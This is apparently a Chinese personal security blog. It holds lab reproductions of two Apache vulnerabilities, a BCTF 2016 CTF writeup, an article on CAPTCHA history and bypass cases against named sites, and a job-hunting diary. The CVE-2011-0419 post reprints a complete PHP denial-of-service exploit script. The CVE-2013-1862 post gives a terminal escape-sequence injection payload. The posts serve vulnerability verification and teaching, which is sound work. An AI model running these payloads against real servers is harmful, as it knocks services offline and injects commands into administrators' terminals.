CVE-2013-1862漏洞研究

tinyfisher 发表于 2016-05-06

apache mod_rewrite模块命令执行(CVE-2013-1862)漏洞研究

工作中扫描发现apache mod_rewrite模块命令执行(CVE-2013-1862)漏洞,对于该漏洞,我们做出如下验证与研究:

1. 漏洞信息
c1
该漏洞是利用modules/mappers/mod_rewrite.c文件中的Rewritelog()函数不正确的处理某些转义序列,导致恶意攻击者发送特制的HTTP请求可以注入到日志文件,如果HTTP请求包含终端模拟器的转义序列,可能允许攻击者无需管理员权限即可执行命令。Apache 2.2.25之前的2.2.X版本存在该漏洞。

问题是发现在apache的mod_rewrite模块,mod_rewrite模块通过RewriteLog函数记录rewrite操作的日志,但RewriteLog函数却没有过滤某些转义序列,将用户的数据直接写入了LogFile里。
CVE-2013-1862的漏洞的本质:
(1) RewriteLog函数没有对用户的输入数据进行终端转义字符过滤
(2) 实质上应该是Mod_Rewrite的日志文件漏洞,而不是Apache的日志文件

2.漏洞研究与验证:
(1)什么是转义字符(escape character)?
很久很久以前,电脑操作员只能通过键盘,在黑漆漆的终端中输入命令,跟那些隐藏在屏幕之后的计算机对话。
他们很快发现,有些字符不能打出来,比如换行,怎么在字符串表示一个换行呢?换行符打不了呀,毕竟键盘那么小,如果给换行符一个键,那么同样也得给回车符、制表符或者什么鬼符留一个键。这么下来键盘就只有章鱼能用啦。另外这些换行符在终端界面上怎么显示出来呢?当时的终端屏幕也就能支持ASCII字符,很难拿出一个稀奇古怪的符号来表示换行。
还好聪明的操作员们发明了一种机制,就是用\作为转义字符。这么一来,键盘上的键就可以跟\组合起来用了,比如\t,\n。妈妈再也不用担心我没字符用了!操作员们给这种字符起了个好听的名字,叫转义字符。
比如,我们在终端输入echo -e ‘\n’,看下效果:

c2
转义字符‘\n’就代表换行。

(2)什么是转义序列(escape sequence)?
转义序列(escape sequence)是一系列由ASCII转义字符(0x1B)开始的字符序列,并附带特殊的参数构成,转义序列一般原用于控制显示设备如终端,现在扩展在大多数操作系统中允许多种形式的交互。转义序列可以用于更改文本属性(颜色,宽度),移动鼠标位置,重配置键盘,更新窗口标题,或者操作打印机等。

(3)关于Apache mod_rewrite模块
Apache 官网描述“The mod_rewrite module uses a rule-based rewriting engine, based on a PCRE regular-expression parser, to rewrite requested URLs on the fly. By default, mod_rewrite maps a URL to a filesystem path. However, it can also be used to redirect one URL to another URL, or to invoke an internal proxy fetch.”,简单来说,Rewirte主要的功能就是基于一些规则实现URL的跳转或重写。
开启 mod_rewrite:
环境:Redhat6.5,apache 2.2.22

 cd ./httpd-2.2.22/modules/mappers/
/usr/local/apache/bin/apxs -c mod_rewrite.c 
/usr/local/apache/bin/apxs -i -a -n mod_rewrite mod_rewrite.la  

如果没有什么错误的话,应该在apache的modules目录中编译出一个mod_rewrite.so文件
c3
接着修改httpd.conf配置文件:
c4
确保已加载rewrite模块,接着在httpd.conf配置重写规则、开启rewritelog
c5
重写的规则大致是:如果页面不存在,跳转到404.html页。接着需要重新启动apache

(4)POC
网上的POC

;PS1="\[\e]0;Be Hacked\a\]hacker@\h:\w\$"su;  

我们在页面中跟上上面的POC
c6
这样就触发了rewrite规则,被记录到rewritelog中,
c7
可以看到,rewritelog对这个poc的一些转义字符(如\e)直接记录,没有过滤,我们对比一下apache的accesslog和errorlog的内容
c8
c9
可见,这两个log内容都对POC中的转义字符进行了处理。
如果管理员再用终端查看被注入POC的rewritelog,就会执行攻击者设定好的命令:
c10

3.总结:

Apache 2.2.25之前的2.2.X版本且开启mod_rewrite模块的服务器存在该漏洞,触发条件较难,需要由管理员通过终端查看rewrite日志,因此比较适合APT类的攻击。

CVE-2011-0419漏洞研究

tinyfisher 发表于 2016-04-06

Apache 1.4/2.2.x - APR ‘apr_fnmatch()’ Denial of Service(CVE-2011-0419)漏洞研究

工作中扫描发现Apache 1.4/2.2.x - APR ‘apr_fnmatch()’ Denial of Service(CVE-2011-0419)漏洞,对于该漏洞,我们做出如下验证与研究:

1. 漏洞信息
b1
Apache Portable Runtime (APR)库1.4.3之前版本,Apache HTTP Server2.2.18之前版本的apr_fnmatch.c中存在栈消耗漏洞。该漏洞是由于“fnmatch()”函数的实现没有正确限制它的递归调用,远程攻击者可以借助first参数中的*?序列针对mod_autoindex某块进行攻击,从而导致拒绝服务(CPU和内存消耗)。
APR(Apache portable Run-time libraries,Apache可移植运行库)的目的如其名称一样,主要为上层的应用程序提供一个可以跨越多操作系统平台使用的底层支持接口库。
也就是说Apache的APR库中的fnmatch()函数出了问题,可以造成DOS攻击。

2.漏洞研究与验证:
测试环境:Redhat6.5,Apache 2.2.17
b2
根据exploit-db的资料,实现该攻击需要支持autoindex模块,也就是支持列目录,并且该目录中需要有较长文件名的文件。
首先开启列列目录功能,对httpd.conf文件做如下修改:
b3
其中Indexs就是开启列目录,然后我们创建一个文件,根据POC,这个文件名为“cx…………………………(125个点)”,如下图:
b4
在攻击前,我们首先观察一下CPU的占用情况,正常。
b5
网上POC如下:
b6
对一些参数进行具体的修改,如ip、目录等。执行攻击脚本:

php -f run.php  

过一段时间,再次观察CPU使用情况:
b7
可见,新出现许多httpd进程,并且CPU已到达99.5%,此时服务器明显卡顿,再次访问相关页面,也无法打开:
b8
至此,DOS攻击成功。

3.总结:

Apache HTTP Server2.2.18之前版本的apr_fnmatch.c中存在栈消耗漏洞,在支持autoindex模块的前提下,可能造成DOS攻击。2.2.18版本是2011年的版本,版本较低,建议升级,同时autoindex模块会造成不必要的信息泄露,也应关闭。poc如下:

source: http://www.securityfocus.com/bid/47820/info

Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition.

Apache APR versions prior to 1.4.4 are vulnerable. 

<?php
/*
Apache 2.2.17 mod_autoindex local/remote Denial of Service
author: Maksymilian Arciemowicz

CVE: CVE-2011-0419
CWE: CWE-399

REMOTE
Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.

http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]

LOCAL
Tested on:
127# httpd -v && uname -a 
Server version: Apache/2.2.17 (Unix)
Server built:   Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov  7 14:39:56 UTC 2010  builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386

Result:
127# ls -la   
total 8
drwxrwxrwx  2 root  wheel   512 Feb  8 21:41 .
drwxr-xr-x  7 www   wheel  1024 Jan 31 08:49 ..
-rw-r--r--  1 www   wheel  1056 Feb  8 19:39 .htaccess
-rw-r--r--  1 www   wheel     0 Feb  8 19:39 cx.............................................................................................................................
-rw-r--r--  1 www   wheel  1240 Feb  8 19:42 run.php
127# ps -aux -p 617 
USER PID %CPU %MEM   VSZ  RSS TTY STAT STARTED      TIME COMMAND
www  617 98.6  0.4 10028 4004 ?   R     7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start 

Time = 121:43 and counting

where http://[$localhost]:[$localport]/[$localuri]
*/
$localhost="192.168.160.237";
$localport=80;
$localuri="/tf";


if(!is_writable(".")) die("!writable");

// Phase 1
// Create some filename
touch("cx".str_repeat(".",125));

// Phase 2
// Create .htaccess with 
unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
fclose($htaccess);

// Phase 3
// Local connect (bypass firewall restriction)
while(1){
	$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
	if (!$fp) echo "$errstr ($errno)<br />\n";
	else {
		$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
		$out .= "Host: ".$localhost."\r\n";
		$out .= "Connection: Close\r\n\r\n";
		fwrite($fp, $out);
		fclose($fp);
	}
}

?>

BCTF2016 writeup

tinyfisher 发表于 2016-04-04

BCTF 2016

周末参加了BCTF,做出了一道签到题,一道杂项题,一道算法题,将思路整理如下,供大家参考.

签到题

题目:IRC
思路:常见的签到题,登陆https://webchat.freenode.net/,注册一个用户,登录到BCTF channel即可获得flag,不赘述。

杂项

题目:catvideo
给了一个mp4的视频,如下图,但是没有看见猫:
video
视频中大多数像素”稳定”(他们不改变自己的颜色) 。但是,我们可以看到这些像素里面还是有一些动作的。
我通常使用Python编程,但这次安装视频文件处理模块有一些问题,所以,我决定切分MP4文件的帧,然后用PIL Python模块处理这些帧,最后重组他们回到正常的视频。
花了半小时后,我得到如下解决方案:

ffmpeg.exe -i catvideo-497570b7e2811eb52dd75bac9839f19d7bca5ef4.mp4 -r 30.0 fr_%4d.bmp  

我从官方网站上下载ffmpeg包,并执行上面的命令。它生产1922个BMP文件。然后写个脚本,将每一帧减去第一帧:

from PIL import Image  
from PIL import ImageChops  
import glob  
	im0 = Image.open("fr_0001.bmp")  
	for frame in glob.glob("frames/*"):  
		ImageChops.subtract(Image.open(frame), im0).save(frame.replace("frames", "frames_new"))  

我创建了2个文件夹:/frames/frames_new,脚本执行后,我去/frames_new文件夹查看结果。我在帧3-314注意到一个消息:
v2

v3
虽然不清楚,但还是得到了答案BCTF{cute&fat_cats_does_not_like_drinking}

密码学

题目:Special RSA
描述:

While studying and learning RSA, I knew a new form of encryption/decryption with the same safety as RSA.

I encrypted msg.txt and got msg.enc as an example for you.

$ python special_rsa.py enc msg.txt msg.enc

Can you recover flag.txt from flag.enc?

special_rsa.zip.f6e85b8922b0016d64b1d006529819de  

给定一个文件special_rsa.zip.f6e85b8922b0016d64b1d006529819de,包含如下信息:

flag.enc
special_rsa.py
msg.enc
msg.txt  

题目的思路是用隐藏的key解密flag.enc文件。
阅读special_rsa.py文件加密和解密过程后,我做了简单的公式来找到隐藏的key。
v4
伪代码如下:

N = 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131L

c1 = 14548997380897265239778884825381301109965518989661808090688952232381091726761464959572943383024428028270717629953894592890859128818839328499002950828491521254480795364789013196240119403187073307558598496713832435709741997056117831860370227155633169019665564392649528306986826960829410120348913586592199732730933259880469229724149887380005627321752843489564984358708013300524640545437703771424168108213045567568595093421366224818609501318783680497763353618110184078118456368631056649526433730408976988014678391205055298782061128568056163894010397245301425676232126267874656710256838457728944370612289985071385621160886
c2 = 12793942795110038319724531875568693507469327176085954164034728727511164833335101755153514030256152878364664079056565385331901196541015393609751624971554016671160730478932343949538202167508319292084519621768851878526657022981883304260886841513342396524869530063372782511380879783246034751883691295368172069170967975561364277514063320691930900258017293871754252209727301719207692321798229276732198521711602080244950295889575423383308099786298184477668302842952215665734671829249323604032320696267130330613134368640401070775927197554082071807605399448960911234829590548855031180158567578928333030631307816223152118126597

m1 = 8246074182642091125578311828374843698994233243811347691229334829218700728624047916518503687366611595562099039411430662968666847086659721231623198995017758424796091810259884653332576136128144958751327844746991264667007359518181363522934430676655236880489550093852524801304612322373542296281962196795304499711006801211783005857297362930338978872451934860435597545642219213551685973208209873623909629278321181485010964460652298690058747090298312365230671723790850998541956664376820820570709272500330966205578898690396706695024001970727864091436518202414166919020415892764617055978488996164642229582717493375419993187360
m2 = 15575051453858521753108462063723750986386093067763948316612157946190835527332641201837062951012227815568418309166473080588354562426066694924364886916408150576082667797274000661726279871971377438362829402529682825471299861814829463510659258586020732228351258291527965822977048954720558973840956731377322516168809373640494227129998871167089589689796024458501705704779109152762373660542684880052489213039920383757930855300338529058000330103359636123251274293258

r1 = 12900676191620430360427117641859547516838813596331616166760756921115466932766990479475373384324634210232168544745677888398849094363202992662466063289599443
r2 = 7718975159402389617924543100113967512280131630286624078102368166185443466262861344357647019797762407935675150925250503475336639811981984126529557679881059

_, a, b = xgcd(r1, r2)
k = pow((c1/m1 % N), a, N) * pow((c2/m2 % N), b, N)
print k  

得到key:

The key is 175971776542095822590595405274258668271271366360140578776612582276966567082080372980811310146217399585938214712928761559525614866113821551467842221588432676885027725038849513527080849158072296957428701767142294778752742980766436072183367444762212399986777124093501619273513421803177347181063254421492621011961  

得到key,解密flag.enc,得到答案:
v3
Flag: BCTF{q0000000000b3333333333-ju57-w0n-pwn20wn!!!!!!!!!!!!}

验证码的前世今生

tinyfisher 发表于 2015-12-01

验证码的前世今生

说起验证码,不得不提2016年春运12306购票网站上令人绝望的图片验证码,有网友戏称:“其难度之大不亚于一次高考”,“12306验证码已经击败了全国99%购票者”,那么验证码究竟为什么会变成这样?他经历了哪些发展历程?今天,我们就来聊一聊验证码。
a1

1.什么是验证码?

验证码的学名叫做CAPTCHA,是Completely Automated Public Turing test to tell Computers and Humans Apart缩写,意为“全自动区分计算机和人类的公开图灵测试”,也就是一种用来区分人类和计算机的方法。通常是由计算机生成一个对人类而言很容易而对电脑而言非常困难的问题,能回答者被判定为人。

验证码测试其实不是标准的图灵测试,因为标准图灵测试是人类来考计算机的。通常的人工智能研究者的目标是让他们设计的系统通过图灵测试,让人类无法区分对方是人还是机器,从而说明人工智能能够接近人类的智慧。

与之相对,验证码是计算机出题来考人类(当然,这个题目怎么出,也是由人来设计,然后计算机自动产生的)。验证码的目的是不让计算机通过验证,从而阻止人们用计算机做其不应该做的事情。通常这些事情如果用计算机程序来做,可以做到数量很大,或者速度很快,或者兼而有之,从而破坏正常用户的使用秩序。
a2

2.前验证码时代

一开始,网络上是没有验证码的,网上机器人程序横行,垃圾信息、垃圾邮件、垃圾广告到处乱飞,论坛被灌水,有用信息瞬间淹没,恶意破解密码、恶意刷票……

其中,受影响最大的当属电子邮件的提供商:他们的用户每天收到数以百计的垃圾邮件轰炸,严重地影响了正常的工作;更要命的是,这些垃圾邮件还是用他们的免费邮箱发出的。他们不可能一一审查邮件,因为那既不尊重隐私,工作量也太大。

难道就没有任何手段约束程序机器人了吗?当时最有实力的邮件提供商Yahoo(雅虎)公司决定下狠劲改善这个问题。很快,雅虎的负责人联系到了当时卡内基梅陇大学一位21岁的学生,他叫路易斯•冯•安(Luis von Ahn)。
a3

3.验证码诞生

2002年,路易斯•冯•安(Luis von Ahn)和他的小伙伴在卡内基梅隆第一次提出了CAPTCHA(验证码)这样一个程序概念,在当时的条件下,识别扭曲的图形,对于机器来说还是一个很艰难的任务,而对于人来说,则相对可以接受。yahoo在当时第一个应用了图形化验证码这个产品,很快解决了yahoo邮箱上的垃圾邮件问题,因此图形类验证码开始了大发展时期。
a4

4.验证码进化——reCAPTCHA

21岁的路易斯•冯•安发明了验证码后真是名利双收,但他享受了掌声和鲜花后冷静了下来,为一件“小事”感到耿耿于怀:全世界的网民每天要输入验证码接近2亿次,假设每次花费10秒,那么算下来每天要花费50万小时。这个时间如果能利用起来,那将会有多大的力量啊。

路易斯将目光投向了旧书摊。信息时代来临之际,很多古旧的书籍报纸需要整理成电子版,但是电脑扫描辨识时常常出错,因为这些旧资料常常不可避免地有着字迹模糊、褪色、污损的情况。路易斯比任何人都清楚电脑在辨识文字上有多笨拙。唯一的方法是人工核对。但这样的工作显然不是一个人或者一个公司可以胜任的,为什么不让网民们来帮忙呢?

路易斯用一贯简洁优美的思路解决了这个问题,并将它起名为reCAPTCHA(意思是“二次验证码”):他让用户一次性辨识两个单词,其中一个是系统生成的真正的验证码,另外一个是从旧报纸上截下来的单词。如果用户输对了第一个验证码,那么输对第二个单词的几率也很高。用这一个方法,在短短几个月时间内,路易斯让网民们帮忙完成了纽约时代130年来所有旧报纸的存档电子化——这原本可是个让人望而生畏的大工程啊。
a5

5.图片验证码对抗与攻击升级

验证码实际上就是一种人机大战。随着电脑技术的飞速发展,有效的图像识别技术、OCR(光学字符识别)技术已经被开发出来了,路易斯在世纪初开发的那种简单验证码在尖端的破解手段面前,差不多就像是个拄着拐杖、摇摇晃晃的老头,一推就倒了。

难道普通的验证码就没有用了吗?

并不是,安全是是一个博弈的过程,加密方成本远低于破解方,当攻击成本大于可获得利益时,自然就没有人来攻击了。验证码还需综合考虑用户体验、技术成本、安全性等等。
a6

6.进阶验证码

有些网站推出了动态的验证码,令机器人很难捕捉,同时动画效果能够增加网页的美观程度;很多大型的购物网站要求发送手机短信验证码,确保操作用户是本人;又或者是问用户一个常识性的问题,比如“牛奶和汽油哪个可以喝?”,总之就是一些机器不会、但是人类可以轻易做到的事。
a7

7.验证码安全问题汇总

验证码实现流程
a8

1.客户端发起一个请求
2.服务端响应并创建一个新的SessionID同时生成一个随机验证码
3.服务端将验证码和SessionID一并返回给客户端
4.客户端提交验证码连同SessionID给服务端
5.服务端验证验证码同时销毁当前会话,返回给客户端结果
根据上面的实现流程,我们大概可以从四个方面入手,客户端问题、服务端问题、验证码本身问题,还有一个验证码流程设计问题。

案例1:验证码输出在客户端
某会考报名系统验证码绕过,其验证码直接输出在客户端,可直接提取进行绕过。 a9

案例2:验证码输出在cookie
吉祥航空某系统将验证码放在cookie中,用户可直接从cookie中提取进行绕过。
a10
a11

案例3:验证码不过期
很多验证码设计中都没有在服务端主动销毁验证码的机制,而是依赖客户端刷新来覆盖旧的验证码,导致一个验证码可以重复使用。
a12
a13

案例4:验证码问题集内的答案非常有限
139邮箱系统验证码答案有限,可暴力破解。
a14
如上图,不用看图验内容,直接输入1.2.3.4或字母a,b,c,d任意一个,重复提交,即可绕过。

案例5:万能验证码
百度空间用户登录绕过验证码验证,不论验证码为多少,输入“0000”即可绕过。
a15

8.安全的验证码

1.梳理好验证码验证逻辑,避免上述出现的常见问题;
2.验证码不要过于简单;
3.目前还没有永远无法被破解的验证码机制;验证码识别的研究永远是一个双赢的结果:或者有一种验证码不能被破解,网络安全依然有保障;或者验证码被识别,则人工智能和机器学习水平得到进一步的提高。
那么,验证安全的终极奥义是什么呢?google提出了一个概念叫human behavior analysis,大意是将用户的行为做为判断人与计算机的准则。这个理念提出的意义在于,不再依靠图灵测试即单一的答案来判断人机,而是通过用户一系列的上网行为来确定访问者是人,还是机器。但是从google目前的前端代码层和具体流程来看,目前只是试探性的的发展,如果这个理念能够实际操作并完善,那么验证码的安全性将提高的一个史无前例的高水平,至少破解门槛不会低到仅仅调用一下公共接口就瞬间破解。

2013-2014

tinyfisher 发表于 2014-01-29

今天是13年农历腊月二十九,明天就是大年三十了,本命年过得真快。今年对我来说,不同寻常,除了是本命年,还因为今年发生了很多事情:历时半年的求职,爷爷的去世,第一份实习。这些事情都让我对自己有了更清楚的认识,让我变得更加成熟,尤其是求职。这是我第一次写总结,bolg的好处在于:多年之后,回看这些文章,会觉得当年的自己那么幼稚,那么年轻。

求职

轰轰烈烈的求职季持续了半年,整个求职的过程对我影响非常大,从一开始的跃跃欲试,到0 offer的焦虑,到选offer的纠结,再到违约,求职的所有过程都印象深刻。到后来,求职不仅仅是找工作这么简单,我在反复的问自己:你到底想要什么?
先来说说最终结果吧:
签约:x行数据中心
offer list:江苏联通,华为,中兴,江苏电信,中清龙图,江苏移动,X行数据中心
详细战绩:

阿里:笔试过,面试跪  
创新工场:笔试过,一面过,二面跪  
暴风影音:笔试跪  
SAP:笔试跪  
优酷土豆:笔试跪  
数码视讯:笔试跪  
IBM Linux组:电面跪  
雅虎:笔试跪  
微软:笔试跪  
瑞晟:面试跪  
中清龙图:笔试过,一面过,二面过,offer 拒  
大众点评:笔试过,电面跪  
网易:笔试跪  
4399:一面过,二面过,三面跪  
百度:笔试过,面试跪  
腾讯:笔试过,一面过,二面跪  
华为:笔试过,一面过,二面过,offer,拒  
美团:笔试过,一面过,二面跪  
去哪:笔试跪  
渣打科营:电面跪  
江苏电信:一面过,二面过,offer,签约,违约  
绿盟:笔试跪  
完美世界:笔试跪  
江苏联通:笔试过,面试过,offer,拒  
中兴:一面过,二面过,offer 拒  
思科:笔试跪  
通联数据:一面过,二面过,拒三面  
江苏移动:笔试过,一面过,二面过,offer,拒  
农行苏州分行:笔试跪  
上交所:笔试跪  
人寿数据中心:笔试过,拒面试  
XX银行总行信息中心:笔试过,面试过,offer,签约  
XX银行软件中心:笔试过,面试过,体检拒  
中国人民银行清算总中心:笔试过,面试跪  
江苏国税局:国考跪  

这里记录的都是参加笔试的,那些简历挂了,或者时间冲突去不了的都不在列表内。可以看到,互联网几乎全军覆没,充分体现了技术渣的本色。

去年开学之后,就开始陆陆续续的准备找工作的事宜,那时候很焦虑,不知道自己能否找到一份不错的工作,所以从三、四月份就开始准备计算机基础知识,《编程之美》,《剑指offer》。
8月份的时候,参加了微软、腾讯、阿里的暑期实习生笔试,全跪。我才意识到我准备的有多渣,回去之后继续疯狂看计算机基础知识,《编程之美》,《剑指offer》。
同时开始准备简历,从技术类到国企类,从一页到两页,从中文到英文,各种简历都在准备中,简历陆陆续续修改了不知改了多少次,每一句话都需要斟酌,各种细节都值得注意。比如:邮箱从163的换成了foxmail的,简历从一页半变成了一页版和两页版,博客地址从csdn换成了github的,电话从一串数字变成了4-3-4的格式,针对不同公司增改信息等等,都只为体现两个字——专业。
一个月之后,求职第一波——互联网拉开了序幕,我也觉得我准备的不错了,踌躇满志,决定怒砍xx个offer。

时间来到9月份,各大互联网公司开始秋季招聘,于是我开始疯狂的投简历,饥不择食,每天刷新论坛,大街,应届生,只要有公司招,我就投,甚至一些没听过、不了解的公司。投简历是很无聊的,网投都需要填写一堆重复的信息,还有的公司的投递系统做的很烂,投个简历需要半个小时,九月份基本都是在重复投简历当中度过的,我没有统计过我投了多少,大约在100+吧。
月底的时候,父亲打电话让我速回家,爷爷可能不行了。我当时懵了,没想到病情恶化的这么快,同时疯狂的刷着票,国庆的票真tm难买,终于在发车前2个小时刷了一张票,立马收拾东西赶回家。
终究还是没能赶上,到家的时候,爷爷已经去世了9个小时,家人沉浸在悲痛的气氛中,当得知爷爷临终前还在呼喊我的名字的时候,我再也忍不住,眼泪狂飙,我想这是我人生最大的遗憾,没有之一。葬礼持续了三天,送走了各位亲朋,稍作几天的休息,我便踏上了回京的旅程,真正的战斗即将开始。
由于互联网公司对简历的要求不像国企那么严,所以基本都能拿到笔试机会,俗称“海笔”。互联网的笔试无非都是那些,语言,算法,网络,系统,编程;准备充分加抱团加手机,一般都能过。
真正的挑战是面试,互联网的面试一般都是:聊项目,写代码。其中聊项目只是热场,决定你能否通过的是你写的代码。编程题有的是《剑指offer》和《编程之美》上的,有的是我没有见过的,所以出我见过的题,我都能通过面试,出我没见过的题,必挂,无须挣扎,说明我对算法掌握的很烂,而且我对编程其实没有丝毫的兴趣。有意思的是,BAT三家互联网巨头的面试,我都挂在了二面,离offer只有一步之遥,很是无奈。
十月是笔试面试宣讲集中爆发的一个月,这个月基本都是在赶场子,每天安排的都很满,我记得最恐怖的一天赶六场,都是前期海投惹的,当时应该有针对性的投。来一张当时google calender的截图吧,可见十月的忙碌。

google

然而,十月快结束了,我依然是0 offer,这时候大牛们已经拿到几个offer开始比较了,而我准备时间最多的互联网已经基本结束,我开始不淡定了,前期准备怒砍xx个offer的想法是多么可笑。

十一月,互联网基本结束,国企运营商银行新一波已经到来,国企和互联网完全是两条路子,无论是简历筛选还是笔试面试,过互联网的简历比较容易,而国企过简历就没那么简单了,由于本科非211,985,在一些看重学历的国企中,简历基本无法通过。比较对口就只剩运营商了。
由于是邮电院校,各大运营商会来北邮宣讲,完了会有提前批的招聘,也算是邮电学校的福利了。之前已经确定不留北京,工作往长三角方向找,所以三家运营商我都是投的江苏的。
如果说互联网面试最难的是写代码,而国企面试最难的就是群面了,还记得本科找工作时群面从头到尾没说一句话的尴尬,所以我基本每周有空都会去看研会组织的“模拟群面”,不得不说,研会的这个活动很靠谱,请了一些专业的hr,以实战的形式给我们讲解群面技巧,我从中也学到了不少,为后面的实际群面打下基础。
我还记得那个晚上,我正参加完面试回学校,手机响了,对面说:“请问是xxx吗,这里是江苏联通人力资源部。。。”,我知道第一个offer来了,我压着兴奋的心情通完电话,那天晚上心情特别好,终于告别0 offer的尴尬了,虽然联通不是很理想的选择,但这个offer犹如选中送碳,给了我极大的鼓舞,也是我开始offer收割的转折点,这里向联通表示感谢。
之后,电信和移动也纷纷开始了招聘,由于有了保底的offer,以及前期群面的积累,我很顺利的拿到了电信和移动的offer,之前一直担心的群面,现在看来根本没有那么难,只要你敢于说出自己的想法,跟着团队的大方向走,适时提出自己的观点,不要阻碍整个讨论的进行,群面都能过,在三次群面中,我两次扮演了leader的角色,能够让大家跟着自己的思路去讨论,是很有成就感的事情。
没有offer的时候很焦虑,而有offer的时候一样很蛋疼,因为单位会逼签,华为和中兴逼签的时候,我果断拒了,因为这些都是byr用来保底的offer,每年华为都招非常多的应届生,今年华为涨薪了,但华为和我向往的生活相去甚远,所以还是拒了。
但是当电信逼签的时候,我很纠结,因为当时移动面试过去快两个星期了还没有消息,移动毕竟是三大运营商的大哥,工资待遇也是第一,4G也是风生水起,但是电信已经拖不起了,我和家里商量了一下,父亲说,你签,家里和电信那边有些关系,到时候违约不会难为你。于是我和电信签了三方,结果过了2天,移动通知体检,无语。
十一月底了,我看后面除了银行也没什么单位招聘了,但进银行基本是小概率事件,所以基本打算毕业回老家的运营商了,于是打算和帝都告别,找了一份新浪的实习,没想到还能去新浪的年会,吃金钱豹,抽奖(虽然毛都没中),当然这些都是后话了。

万万没想到,当我基本准备毕业回家的时候,x行和人行分别通知我笔试过了,尼玛x行的笔试是连蒙带C做的,这也能过,我一定是交狗屎运了。
既然过了笔试,那就好好准备面试吧,毕竟这是最后的两场面试了,x行的面试分好几批,从论坛上得知了一些消息,特意去准备了一些相关内容。后来面试比较顺利,x行给我发offer了,兴奋之余,又有一个问题让我很苦恼:
上海or老家
我只有几天的时间考虑,x行规定要在5天内向原单位提出解约申请,之后便可等你到三月份拿到新三方,而且不用交押金,这里赞一个,非常人性化。到底去哪,困扰了我很久。
这部《另一个我》将大城市和小城市的生活描绘的很生动,虽然有夸张的成分,但很好地体现了大城市和小城市各自的生活难题,大家可以看看,选择自己想要的。
家人意见:follow your heart。回家,家里找关系,以后在运营商里混,前途明朗。去上海,家里卖掉一套房,交首付。这里向爸妈表示感谢!
tomsawyer:这个世界我还没看够。
cowboy:你还年轻。
罗胖:见识决定命运。《拒绝逃离北上广,见识决定命运》,这是《罗辑思维》第二期节目,当时的罗胖说的还略显青涩。
最终,我还是和电信解约,准备去x行了,至此,我的半年的求职生涯画上终点。

致谢

求职是一件很苦闷的事,无论是身体还是精神,但他也会让你对自己有一个更加清楚的认识,通过不断的面试沟通,你会越来越清楚自己有什么,适合干什么。这里向大伙表示感谢:
1.感谢父母,感谢你们创造的条件,让我可以有充分的选择余地。
2.感谢小伙伴,带投简历,笔试抱团,面经分享,消息互通,我不是一个人在战斗。
3.感谢北邮,北邮是一所性价比极高的学校,当年考北邮就是因为好考,虽然北邮作为全国最大的码农培训学校,少了点人文的气息,但byr找工作还是非常厉害的。
4.感谢自己,感谢自己那么拼命的去求职,感谢自己勇敢得做出每一个选择,多年之后我一定会感谢今天那么努力的自己。

关于银行IT

应届生第一份的工作应该说比较重要,关于银行IT,论坛上有两种看法:一种是“金融高富帅”,无脑入,另一种是sze为代表的银行IT没地位没发展。这里说说我的看法:工作没有好坏,只有适合不适合,除了二代,基本没有钱多活少离家近,位高权重责任轻的工作,所以选择一份工作最重要的是看你是否适合他。那么什么样的人适合去银行IT?
这篇《还原一个真实的银行待遇》写得不错,应该是北邮师兄写的,这里面提到:
什么样的人适合去银行的科技岗位?我觉得是比较中庸的人,技术一般,沟通一般,野心一般的人。毕竟银行的软开,总体来说,待遇还是比一般的计算机公司好,而且相对稳定一些。对于不是牛人来说,银行的软开科技部也是一个不错的选择。而且软开大部分户口还是有保证的,对于在北京混的人来说,没有户口还是麻烦。
所以我这种中庸的人只能去银行IT了。

x行

既然最终签约了x行,这里写个笔经面经,供大家参考吧:
简历
过银行的简历比较难,尤其是我这种本科非211,985的,五大行只过了x行苏分和x行,不过论坛上也有双985+各种证书的挂了的,有人说银行简历是随机的,有人说银行只要长得好看的。。。所以过银行简历除了好好准备外,rp也是非常重要的。
笔试
银行笔试一般都是机试,分为四个部分:英语,行测,金融知识和专业知识。每个部分1个小时,中间无休息时间,一做4个小时,全程无尿点。
英语类似于托业,难度介于四六级,题量大,60min做100道,提高速度是关键。
行测难度和公务员差不多。
金融知识,连蒙带C,全是蒙的,大家想进银行IT的可以稍微准备一下,里面有几道x行的基础题,提前可以看一看。
专业知识:数据库,软件测试,软件工程考得比较多。
过笔试的运气成分也很大。。。
面试
x行面试先做专业笔试,其实就是类似于公务员申论的题,半个小时结合材料写文章,我抽到的是“结合光大乌龙事件,谈谈你对银行科技工作的理解。”,做完之后抽签决定面试顺序,面试是7V1,内容是结构化面试。
面试有压力面的成分,我进去自我介绍才说了几句,中间的boss就说:“简历上写的就不要说了,你只有2min,好好把握。”,所以千万不能慌,底气要足,不能被7张冰冷的面孔吓尿,用自己的气势hold住全场。回答问题的时候,边说边想,随机应变,不能出现长时间的沉默,这样会很尴尬,而且你的压力会越来越大。
体检
银行体检果然高大上,是我体检最全最专业的一次,男外还有惊喜。。。
签约
这里我得赞一下x行,非常人性化,只需签一个资格保留协议,x行就会等你拿到新三方,所以大可先签一个保底。资格保留协议如下:

尊敬的XXX同学:
根据今日签约会上沟通的情况,我们为您保留了录用资格,希望您务必尽快与原签约单位办理解约手续并告知我们。您可以通过以下任一形式让我们知晓您已经与原单位办理解约或提出办理解约:
1、将原签约单位开具的解约证明、解约函、违约金收据等材料的扫描件发送至本邮箱;
2、将学校就业指导中心或院系就业办开具的解约证明、办理解约手续的相关材料的扫描件发送至本邮箱;
